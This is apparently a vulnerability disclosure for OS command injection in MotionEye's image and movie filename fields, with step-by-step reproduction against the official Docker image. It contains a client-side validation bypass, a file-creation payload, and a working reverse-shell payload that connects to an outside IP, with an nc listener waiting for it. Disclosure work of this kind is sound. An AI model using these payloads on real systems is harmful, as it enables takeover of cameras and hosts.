A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).
MotionEye accepts arbitrary strings from fields such as image_file_name and movie_filename in the Web UI. These are written directly into /etc/motioneye/camera-*.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.
Dashboard (Web UI) ↓ ConfigHandler.set_config() ↓ camera-*.conf written ↓ motionctl.restart() ↓ Motion parses config → executes payload
The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.
The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye.
Tested using the official Docker image.
Start MotionEye container
Launch the vulnerable container:
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
Verify version
Confirm the running version inside logs:
docker logs motioneye | grep "motionEye server"
Result:
motionEye server 0.43.1b4
Container shell access (for verification later)
Keep a shell handy to verify results:
docker exec -it motioneye /bin/bash
ls -la /tmp
Access Web Interface
http://127.0.0.1:9999Attempt malicious filename input
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
Client-Side Validation Discovery
/static/js/main.js?v=0.43.1b4 → references /static/js/ui.js?v=0.43.1b4function configUiValid() {
$('div.settings').find('.validator').each(function () { this.validate(); });
var valid = true;
$('div.settings input, select').each(function () {
if (this.invalid) { valid = false; return false; }
});
return valid;
}
Bypass Validation
configUiValid = function() { return true; };
Inject Payload
Interval Snapshots10$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
Verify Execution
ls -la /tmp
/tmp/test is created with root permissions, confirming code execution.
Start attacker listener
nc -lvnp 4444
Inject reverse shell payload
Enter the following into the Image File Name field:
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
Result
image_file_name) from the Web UI directly into camera-<id>.conf.motion binary parses these fields as shell-expandable strings, leading to arbitrary command execution.Type: OS Command Injection → Remote Code Execution
Who is impacted:
Potential consequences: